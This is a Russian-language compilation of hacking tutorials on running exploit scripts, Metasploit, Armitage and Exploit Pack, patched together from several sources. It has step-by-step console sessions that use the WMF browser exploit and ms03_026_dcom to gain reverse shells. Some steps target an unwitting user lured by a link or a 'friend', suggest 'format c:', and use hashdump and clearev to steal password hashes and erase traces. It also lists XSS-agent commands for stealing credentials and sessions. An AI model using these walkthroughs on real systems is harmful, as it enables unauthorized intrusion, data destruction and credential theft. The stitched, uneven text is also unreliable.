Как сделать свой exploit

Обновлено: 30.06.2024

Эту статью обещался написать M03r, даже не написать, а перенести её со своего форума, но я не решился обещанного 3 года ждать и стЫрил эту информацию где токо можно "написал сам".

Сначало надо понять что такое эксплойт, и в этом нам поможет словарь Ожегова С.И. википедия.

Эксплойт (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода, которЫй, используя возможности предоставляемЫе ошибкой, отказом или уязвимостью, ведёт к повЫшению привилегий или отказу в обслуживании компьютерной системЫ.

ЭксплойтЫ могут также бЫть классифицированЫ по типу уязвимости, которую они атакуют. Переполнение буфера, межсайтовЫй скриптинг, подделка межсайтовЫх запросов, SQL-инъекция, Атака возврата в библиотеку.

Теперь расскажу как эти эксплойтЫ собственно запускать.

Запуск эксплойтов под Windows Маздаем.

PERL сплойтЫ
Для запуска ищем ActivePerl и устанавливаем.
Дальше открЫваем командну строку ( Пуск -> ВЫполнить -> cmd ) и переходим в папку с сплойтом ( cd название папки) дальше пишем :

Запустится сплоит и вЫдаст всю необходимую информацию по его использованию.

    Качаем PHP (Либо юзаем Денвер он там есть)
    ОткрЫваем командную строку ( Пуск -> ВЫполнить -> cmd ) далее пишем

Например: C:\PHP\php.exe C:\sploits\sploit.php

в папке появится новЫй файл: sploit.obj
Дальше пишем слудущее:

Теперь в папке появиться файл sploit.exe . Это и есть компиленЫй сплойт.
Потом открЫваем командную строку, переходим в папку где у нас лежит slpoit.exe и просто пишем slpoit.exe .


Python сплойтЫ
Качаем Python.
ОткрЫваем командну строку ( Пуск -> ВЫполнить -> cmd ) далее пишем:

Например: C:\Python\python.exe C:\sploits\sploit.py

Дальше все, как у других сплойтов.

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

Многие слышали наверно слова Метасплоит, метафайлы, эксплоит, шелл, уязвимость. Очень много вопросов возникает у пользователей (начинающих скрипткидисов, а так же тестеров сплоитов и уязвимостей) которые с этим так или иначе сталкиваются, вот как раз для них эта статья. Тут я расскажу Вам что такое проект Metasploit Framework и как им пользоваться. Сразу скажу что статья расчитана для тех кто задаёт вопросы типа этих:

1.
cd \
cd %SystemRoot%\system32
msfconsole: chdir: failed to change directory No such file or directory
Это как понимать.

2. или типа этого:
+ -- --=[ msfconsole v2.6 [145 exploits - 75 payloads]

msf > ls exploits
ls: exploits: No such file or directory
msf >
А как понимать это.

Эксплоит: (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.*

Реверс-шелл: При эксплуатации удаленной уязвимости шелл-код может открывать заранее заданый порт TCP уязвимого компьютера, через который будет осуществляться дальнейший доступ к командной оболочке, такой код называется привязывающим к порту (англ. port binding shellcode). Если шелл-код осуществляет подключение к порту компьютера атакующего, что производится с целью обхода брандмауэра или NAT, то такой код называется обратной оболочкой (англ. reverse shell shellcode).

Уязвимость: В компьютерной безопасности, термин уязвимость (англ.vulnerability) используется для обозначения слабозащищённого или открытого места в системе. Уязвимость может быть результатом ошибок программирования или недостатков в дизайне системы. Уязвимость может существовать либо только теоретически, либо иметь известный эксплойт. Уязвимости часто являются результатом беззаботности программиста, но, также, могут иметь и другие причины. Уязвимость обычно позволяет атакующему обмануть приложение, например,с помощью внедрения данных каким-нибудь незапланированным способом, выполнения команды на системе, на которой выполняется приложение, или путем использования упущения, которое позволяет получить непредусмотренный доступ к памяти для выполнения кода на уровне привилегий программы. Некоторые уязвимости появляются из-за недостаточной проверки данных, вводимых пользователем; часто это позволяет напрямую выполнить команды SQL (SQL-инъекция). Другие уязвимости появляются из-за более сложных проблем, таких как запись данных в буфер, без проверки его границ, в результате буфер может быть переполнен, что может привести к исполнению произвольного кода.

Cygwi (Цигвин): набор свободных программных инструментов разработанных фирмой Cygnus Solutions, позволяющих превратить Microsoft Windows различных версий в некоторое подобие Unix-системы. Изначально Cygwin задумывался как среда для переноса программ из POSIX-совместимых операционных систем (таких как GNU/Linux, BSD и UNIX) в Windows. Программы, портированные с помощью Cygwin, работают лучше всего в Windows NT, Windows 2000, Windows XP и Windows Server 2003, но в некоторых случаях годятся Windows 95 и Windows 98. В настоящее время проект Cygwin разрабатывается сотрудниками Red Hat и другими программистами. Подобные функциональные возможности предлагает также и Microsoft в своём пакете Services for UNIX, включающем в себя подсистему Interix.*

(определения взяты из выкипедии)

Инсталлятор для windows содержит всё необходимое (Сygwin, Perl), т. е. пользователям windows дополнительное ПО скачивать не потребуется.
Качаем тут: (доступная версия 2.6 для windows на момент написания статьи).
Тут лежит версия 2.7 Щас она актуальней (больше сплоитов).


Запускаем инсталлятор: framework-2.6.exe

Получаем: в C:\Program Files\Metasploit Framework\
cygwin.bat (41.0B) - запуск cygwin
msfconsole.bat (86.0B) - запуск консоли MSF
msfupdate.bat (85.0B) - запуск обновления пакета
msfweb.bat (82.0B) - запуск WEB-интерфейса пакета
Metasploit Framework.url (51.0B) - линк на сайт разработчиков
uninst.exe (47.6KB) - деинсталяция пакета

а также папки bin, etc, home, lib, sbin, tmp, usr, var - хорошо известные поклонникам Unix-систем.

Пакет Metasploit Framework имеет два варианта работы: msfconsole (консольный) и web- интерфейс msfweb . Мне удобней всегда работать в msfconsole. Это интерфейс командной строки (по типу cmd с минимальным набором команд), имеющий собственное программное окружение и систему команд. Чтоб посмотреть основные команды наберите в консоли help. Для тех у кого туго с английским привожу перевод help`a. Рассмотрим консольный вариант работы пакета.

? ------------ Show the main console help (Показать главное окно помощи)
cd ----------- Change working directory (Выбрать рабочую директорию)
exit ---------- Exit the console (Выход из консоли)
help --------- Show the main console help (Показать главное окно помощи)
info ---------- Display detailed exploit or payload information (Вывести на дисплей детальную инфу о эксплоите или начинке)
quit ---------- Exit the console (Выход из консоли)
reload -------- Reload exploits and payloads (Перезагрузить эксплоит и начинки)
save --------- Save configuration to disk (Записать конфигурацию на диск)
setg ---------- Set a global environment variable (Установить глобальную переменную окружения)
show --------- Show available exploits and payloads (Показать доступные эксплоиты и начинки)
unsetg ------- Remove a global environment variable (Удалить глобальную переменную окружения)
use ----------- Select an exploit by name (Выбрать эксплоит по имени для использования)
version ------- Show console version (Показать версию консоли)
----нет в help`е-----
ls ------------- List the current directory (Показать файлы в текущей директории)
exploit -------- Run exploit (Запуск эксплоита)
msf >

М. да, скажете вы help бедноват и команд мало. Ну ничего, сами догоним что к чему.
cd [имя_директории]- стандартная команда (как и в cmd, так и в древнем дос - делает то же самое и здесь, с ней всё ясно, для тех кто в танке наберите help cd в консоли cmd)
Конечно всем не терпится использовать команду use [имя эксплоита], а затем установить переменную PAYLOAD какой либо вкусной начинкой, но всё по порядку, начнём!

5. Распрастранённые ошибки 90% новичков.
(продвинутым в режиме командной строки пропустить обязательно! ;-)): ​

1 Ошибка.
Первая команда юзера после загрузки консоли ls exploits
В этом случае их постигает такой облом:

msf > ls exploits
ls: exploits: No such file or directory
msf >

И все разом говорят у меня нет эксплоитов!
А надо сделать всего лишь команду ls без параметров, чтоб посмотреть где мы находимся.

msf > ls
framework perl.exe.stackdump run_msfupdate userguide.pdf
framework.tar run_msfconsole run_msfweb
msf >

Вот теперь мы видим, что папки с эксплоитами тут нет, так как она, скорее всего, находится внутри папки framework.
В чём проблема, переходим в папку framework и посмотрим там:

msf > cd framework
msfconsole: chdir: changed to directory framework
msf >

Прекрасно! Теперь глянем что тут внутри скомандовав ls:

msf > ls
data exploits msfcli msfencode msfpescan nops src
docs extras msfconsole msflogdump msfupdate payloads tools
encoders lib msfelfscan msfpayload msfweb sdk
msf >

О! Сколько тут всего! И эксплоиты и начинки и доки. Вот теперь можно командовать ls exploits

msf > ls exploits
3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
Credits.pm ms05_039_pnp.pm
-------------много других эксплоитов-------------------
mercantec_softcart.pm wsftp_server_503_mkd.pm
mercur_imap_select_overflow.pm wzdftpd_site.pm
mercury_imap.pm ypops_smtp.pm
minishare_get_overflow.pm zenworks_desktop_agent.pm
msf >

Во! Сколько сплоитов! (А говорили нет эксплоитов. оказывается всё со сплоитами в порядке - они есть)

Команда use [имя_экплоита.pm]

msf > use ie_xp_pfv_metafile.pm
msfconsole: use: please specify a valid exploit name
msf >

Расширение эксплоита pm - указывать не надо, только имя сплоита!

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile >

После удачного выбора нужного сплоита сразу выбирают начинку (забывая про параметры)

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > exploit
Error: Missing required option: LHOST
msf ie_xp_pfv_metafile(win32_reverse) >

Облом! Это что ещё? Перевожу отсутствует (не задана) рекомендованная опция (параметр) LHOST
Вообщем перед тем как начинять сплоит, я советую задать (установить) все необходимые параметры с помощью команды set.
У каждого сплоита их может быть разное количество (зависит от конкретной уязвимости)
Ну и что делать, как узнать какие параметры у какого сплоита? Ответ уже был выше! в help`e! Коммандуем: info [имя_сплоита], например узнаем всё про wmf-сплоит (ie_xp_pfv_metafile)

Available Targets:
Automatic - Windows XP / Windows 2003 / Windows Vista

4. Ошибка
Важно! Всегда и везде имена переменных окружения писать только ЗАГЛАВНЫМИ буквами!
5. Ошибка
>msf ie_xp_pfv_metafile(win32_reverse) > exploit
msf >Could not start listener: Operation not permitted
Что делать? - освободить порт (уже занят чем то, буквально - немогу запустить слущатель:операция не разрешена) или использовать другой, например set LPORT 8081

6 Ошибка
Client connected from ххх.ххх.ххх.ххх:1879.
Undefined subroutine &Pex::Utils::JSUnescape called at /home/framework/exploits/
ie_vml_rectfill.pm line 156.
Exiting Reverse Handler.
msf ie_vml_rectfill(win32_reverse) >
Это ещё что? Неопределённая подпрограмма и . ну вообщем скорее всего вы скачали свежий сплоит и засунули в старую версию пакета, вообщем работать не будет. Cплоиты которые вышли после пакета в большинстве своём будут работать только на свежей версии, на данный момент 2.7 (как раз касается свежего сплоита ie_vml_rectfill.pm. Так что или обновляйте пакет, либо качайте последний.

Эксплоит: ie_xp_pfv_metafile , начинка win32_reverse

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
LHOST -> 10.0.0.1

Вообщем разобрались задали всё необходимое для сплоита, теперь можно переходить к начинке:
командуем set PAYLOAD [имя_начинки],

Юзвер заходи по ссылке (и если у него есть эта конкретная уязвимость в IE) в консоли мы должны увидеть вот что:

О блин!, Это ещё что, скажете Вы - это командная строка удалённого компа того юзверя!
А что за абракадабра? - Это не та кодовая страница выбрана (у него русская винда стоит!) Щас проверим! chcp

C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp
chcp
'?Єгй п ЄR¤Rў п бва -Ёж : 866
C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>

Точно это 866, поставим 1251 (виндовую, а не дос)

C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp 1251
chcp 1251
'?Єгй п ЄR¤Rў п бва -Ёж : 1251
C:\Documents and Settings\Администратор\Рабочий стол>

О! Теперь всё по русски! Что делать в cmd чужого компа зависит от вашей фантазии, список команд смотрите в help по консольным командам windows. (format c: - жесть!)
Был разобран конкретный пример использования WMF-Эксплоита с начинкой реверс-шелла, ваши варианты могут быть другими.


Тут Лежит видео по использованию пакета 2.7. В видео показываем как мы взламываем систему друга, чтоб поглумиться над ним, обнаруживаем у него признаки наличия трояна Смерть Ламера, проникаемся к нему сочувствием и избавляем его от троя удалённо (сносим файл сервера троя антивирусом касперского, но этого мало, трой снова себя восстанавливает - он есть в процессах, находим подозрительно-левый процесс и пытаемся его удалённо убить - получается только с третьего раза с параметром "принудительно", затем находим автозагружаемый файл сервера трояна и тоже убиваем его антивирем).

Оригинал: Penetration Testing with Metasploit Framework
Автор: Dinesh Shetty
Дата публикации: июль 2011 г.
Перевод: В. Семененко
Дата перевода: июль 2011 г.

Введение

Наверняка, когда я произношу - "Инструмент для пентестинга" ("Penetration Testing tool"), первое, что приходит вам в голову при упоминании этих словосочетаний - имя Metasploit . И не мудрено! Этот проект является одним из крупнейших в мире, написанных на языке Ruby . Суммарное колличество его строк превышает 700 000! На сегодня Metasploit является стандартом де-факто для пентестинга и поиска уязвимостей. Колличество ежегодных скачиваний экземпляров программы зашкаливает за один миллион. Проект также обладает самой большой в мире общедоступной базой данных для проверенных и качественных эксплоитов .

Metasploit_Framework

Metasploit Framework является программой и одновременно подпроектом, входящим с состав проекта Metasploit . Его разработку ведет компания Metasploit LLC ( Примечание переводчика . Автор несколько неточен в данном случае. На момент написания статьи все лицензии на проект Metasploit приобретены компанией Rapid7 . Ею выпускаются как коммерческие платные варианты данного продукта - Metasploit Pro , Metasploit Express ; так и бесплатный - Metasploit Framework ). Годом рождения проекта является 2003, когда он начал создаваться на языке Perl. Но позднее программа была полностью переписана на язык Ruby. В самой последней версии релиза Metasploit 3.7.2 возможности пентестинга и симуляции были выведены на качественно новый уровень. За максимально короткий срок был переписан код фреймворка, что увеличило скорость работы и эффективность последнего. Все это значительно усиливает позиции проекта по отношению к его коммерческим аналогам.

Начинаем работать с Metasploit

Программа Metasploit проста в использовании. Она была создана именно с целью помочь и облегчить работу пентестерам. Дальнейшее описание этого незаменимого продукта я буду производить на примере хорошо известного дистрибутива Linux BackTrack 5 . Так что, если у вас его еще нет, приглашаю перейти по ссылке http://www.backtrack-linux.org/downloads/ и скачать последнюю версию (на данный момент это версия 5). Почему именно версию 5? Ну, помимо того, что она самая новая, у нее есть еще одно существенное "преимущество" - в ее состав входят исправленные и рабочие библиотеки Ruby.

Фреймворк Metasploit обладает тремя рабочими окружениями: msfconsole , msfcli и msfweb . Основным и наиболее предпочтительным из трех перечисленных вариантов является первый - msfconsole . Это окружение представляет из себя эффективный интерфейс командной строки со своим собственным набором команд и системным окружением.

Перед запуском Metasploit полезно было бы понять, что делают хотя бы некоторые его команды. Давайте составим ниже небольшой список наиболее распространенных и применимых на практике команд. Графическое представление вывода этих команд также будет представлено в этой статье и мы воспользуемся им для объяснения процесса пентестинга хостов в дальнейшем.

Список наиболее употребимых команд :

i) search : запустив команду search без указания ключевых слов, мы получим список всех доступных эксплоитов. Если значение имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.

ii) show exploits : указав команду show exploits , мы получим список всех доступных на данный момент эксплоитов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.

iii) show payloads : аналогично предыдущим командам show , показывает доступные в системе payload 'ы. Запускаем команду show payloads и изучаем получившийся список.

iv) show options : набрав в командной строке show options , вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эсплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.

v) info : если вам нужна конкретная и полная информация о каком-либо эксплоите или payload'е, вы можете применить команду info . Скажем, вам нужно подробное описание payload'а winbind . Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.

vi) use : команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.

vii) set RHOST : указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.

viii) set RPORT : задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

ix) set payload : команда указывает имя payload'а, который будет использоваться.

x) set LPORT : задаем номер порта для payload'а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд). Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо. Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.

xi) exploit : запущенный на данный момент эксплоит. Есть другая версия этой команды - rexploit , которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.

xii) help : команда help выдаст полный перечень всех доступных команд системы. Я же привел здесь его краткую версию.

Теперь, когда вы знакомы со всеми основными командами, вы можете запустить эксплоит. Для иллюстрации, давайте выберем сценарий, на примере которого я покажу, как получить контроль над удаленной машиной.

Сценарий

OS : Microsoft Windows Server 2003

OS : BackTrack 5

Metasploit version : Built in version of metasploit 3.8.0-dev

Единственная информация об удаленной машине, которой мы располагаем, это то, что на ней запущен Windows 2003 Server. Требуется получить доступ к командной оболочке этого удаленного сервера.

Подробные шаги:

Шаг 1 :

Запускаем сетевой сканер Nmap для анализа удаленного сервера по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот Figure1 .

Figure1

Шаг 2 :

На нашей машине, в операционной системе BackTrack, переходим в меню по пути:

Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole

Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте Figure2 .

Figure 2

Шаг 3 :

Теперь, когда мы знаем, что на удаленной машине открыт порт 135, ищем соответствующий эксплоит RPC в базе данных Metasploit . Для того, чтобы увидеть список всех эксплоитов, доступных в Metasploit , запустим команду show exploits . Мы увидим все, которые можно использовать в нашей системе.

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc . Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole , как показано на скриншоте Figure3 .

Figure 3

Шаг 4 :

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom . Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5 :

В общем случае запуск команды use запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

Figure 4

Как видно на скриншоте Figure4 , после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) > . Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6 :

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135 . Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST .

Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129 ., как на скриншоте Figure5 .

Figure5

Шаг 7 :

Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload'ов можно увидеть с помощью команды show payloads .

Figure6

Как видно на скриншоте Figure6 , команда show payloads покажет нам все payload'ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter , задав его командой set PAYLOAD windows/meterpreter/reserve_tcp , что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

Figure7

Обратите внимание, что параметр LHOST для payload'а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128 .

Шаг 8 :

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте Figure8 хорошо видно, что в нашем случе это именно так.

Figure8

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check .

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

Figure9

На скриншоте Figure9 видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter > .

Шаг 9 :

Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter :

  • ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
  • getuid - отображает имя сервера в консоли;
  • hashdump - создает dump базы данных SAM;
  • clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.

Таким образом, мы успешно использовали Metasploit фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

Потенциальные возможности использования фреймворка Metasploit:

  • Metasploit может использоваться при пентестинге для создания отчетов, совместно с другими системами автоматического обнаружения уязвимостей. С помощью этого фреймворка можно установить, являются ли уязвимости реально опасными и можно ли ими воспользоваться для проникновения в систему.
  • Metasploit может использоваться для тестинга новых эксплоитов, которые появляются буквально каждый день. Такую проверку вы можете делать на локальном сервере, специально предназначенном для этих целей. С помощью этого фреймворка вы легко можете проверить, эффективен ли новый эксплоит или нет.
  • Metasploit также является великолепным инструментом в ваших системах пентестинга для проверки, настроены ли должным образом IDS в случае возникновения атак.

Заключение

Эта статья является поверхностным обзором по использованию фреймворка Metasploit . Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с Metasploit , приобретенный в этой статье, поможет вам понять принципы работы эксплоитов. Что может в дальнейшем быть хорошим подспорьем для написания своих собственных эксплоитов . А это, в свою очередь, поможет вам выполнять задачи пентестинга на более высоком и качественном уровне.

После сканирования и проверки уязвимостей мы должны запустить и протестировать некоторые сценарии (называемые эксплойтами ), чтобы получить доступ к компьютеру и сделать то, что мы планируем делать.

Эксплойт с использованием Armitage GUI

У нас есть несколько способов использовать эксплойты. Первый и самый главный метод — использовать графический интерфейс Armitage, который будет подключаться к Metasploit для выполнения автоматического тестирования эксплойтов HAIL MARY. Посмотрим, как это работает.

Откройте дистрибутив Kali → Приложение → Инструменты для эксплойтов → Armitage.

Открытая Кали

Нажмите Да

Вы увидите следующий экран, который покажет все эксплойты, которые тестируются.

Тестовые эксплойты

Далее вы увидите значок эксплуатируемой системы (то есть системы, в которой работал эксплойт), которая станет красной в цвете с узором грозы над ним. На консоли вы увидите, какой эксплойт был успешным, с соответствующим идентификатором сеанса.

TcherBer

Сеньор

Exploit Pack – это интегрированная среда для взлома и теста систем на проникновение. В статье рассмотрены настройки платформы и примеры использования. Кстати, он чем-то похож на Armitage.

Первые шаги с Exploit Pack

05e163b76b486a61bf43b.jpg

c9ae57659c5c92ad18ce3.jpg

046131b440f344ff719be.jpg

7df974645c72e897e6e49.jpg

efa4163f129ee98460cc4.jpg

b6a213d6e704a8be4ac23.jpg

Exploit Pack включает в себя как часть основных функций XSS Channel.
На техническом уровне это тип приложения AJAX, который может получать команды, отправлять ответы.
Командная консоль XSS — это инструмент, который можно использовать для настройки XSS-канала между жертвой и злоумышленником, чтобы злоумышленник мог управлять браузером жертвы, отправив ему произвольные команды.

Во-первых, часть серверной части координирует XSS Shell между атакующим и жертвой. Это приложение на стороне сервера и требует использования пакета Exploit Pack в качестве хранилища.
Вторая часть инструмента — клиентская часть и написана на JavaScript. Загружается в браузере жертвы и отвечает за прием и обработку команд вместе с предоставлением канала между жертвой и злоумышленником.
Заключительная часть оболочки XSS — интерфейс администрирования. Злоумышленник может отправлять новые команды и получать ответы от нескольких браузеров жертв.

Как провести атаку?

12.jpg


После того, как жертва выполнила этот JS, вы увидите в списке соединений новых агентов, появится список полезных команд, которые вы можете использовать с любым из этих агентов.

// Dialog(message) - To display a Dialog and receive the answer // GetCredentials(credentials) - Collect user's credentials // GetSession() - Get user's sessions // Freeze() - Infinite loop the remote browser // PersistAggresive() - Persist the session on the remote browser // redirectSite(url) - Redirect the user to the desired URL // execJS(code) - Execute your JS on inside a script tag // monster() - Call the Cookie monster on the user's browser // tabKiller() - Kill the current tab ( Firefox, Chrome ) // PersistOnClick() - Persist the agent on an OnClick event // jokeImages() - Make spin the images of the open pages // protectMySite() - Activate the keylogging function and block XSS and SQLi attempts // xssProtect() - Activate the XSS client-side protection on the desired browser // sqlProtect() - Activate the SQLi client-side protection on the desired browser // banIP(ip) - Add the desired IP/Hostname to your blacklist // addIPtoBanList() - Add the current IP/Hostname to your blacklist // antiCopyPaste() - Prevent the remote user of copy/paste the page // noCTRL() - Deactivate the CTRL functions // scanEngine(host) - Launch a discover scan from the remote browser // portScanner(host) - Launch a portscan from the remote browser to a specific host // launchWindow(id) - Create a new windows with the specified height, width // exploitThis(exploitName) - Execute an exploit ( Browser ) from the agent // scanForThreats() - Discover remote plugins and useful information for testing // Plugins() - Obtains a list of running plugins on the remote host // ScreenSize() - Calculate and retrieve current Window size

13.jpg


Как любой инструмент такого типа, он требует некоторых базовых знаний и опыта, Exploit Pack был разработан для автоматизации взлома и его облегчения, впрочем как и сотня других фрэмов.
Все что требуется для полноценной работы немного усилий и каждый может начать использовать основные функции Exploit Pack для глубокой проверки безопасности своих приложений.

Читайте также: